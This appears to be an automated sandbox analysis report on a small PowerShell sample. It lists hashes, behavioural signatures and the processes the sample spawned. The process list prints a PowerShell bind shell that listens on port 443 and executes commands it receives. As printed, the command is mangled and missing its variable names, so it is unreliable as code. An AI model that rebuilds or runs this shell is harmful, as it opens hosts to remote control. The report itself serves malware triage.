Analysis
-
max time kernel
137s -
max time network
6s -
platform
windows7_x64 -
resource
win7v200430 -
submitted
07-07-2020 13:59
Static task
static1
Behavioral task
behavioral1
Sample
KfhizGC7.ps1
Resource
win7v200430
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
KfhizGC7.ps1
Resource
win10
0 signatures
0 seconds
General
-
Target
KfhizGC7.ps1
-
Size
594B
-
MD5
5f3a4a7943f554bd8f39a48cc9b2faa9
-
SHA1
fb28d0ac2f50899a7170029120027db996b488fd
-
SHA256
5f5c5f00a84e03684b736c76b1294a9825966ace8f628e7e65dffba8d6bdc7e6
-
SHA512
737e27f3ea569ccc893ebdc0b7a8c64409f1228d4266ce8371130432b50c42f7c687cc191a94c1dd94949e951dffa9d6c23ba910d5b0e88b25eb58c1c37cfdf7
Score
1/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 1304 powershell.exe 1552 powershell.exe 1552 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
powershell.exedescription pid process target process PID 1304 wrote to memory of 1552 1304 powershell.exe powershell.exe PID 1304 wrote to memory of 1552 1304 powershell.exe powershell.exe PID 1304 wrote to memory of 1552 1304 powershell.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1304 powershell.exe Token: SeDebugPrivilege 1552 powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\KfhizGC7.ps11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c " = New-Object System.Net.Sockets.TcpListener( '0.0.0.0',443);.start(); = .AcceptTcpClient(); = nt.GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, es.Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString (,0, ); = (iex 2>&1 | Out-String ); = + 'PS ' + (pwd).Path + '> '; = ([text.encoding]::ASCII).GetBytes(); eam.Write(,0,.Length);.Flush()};.Close();.Sto p()"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken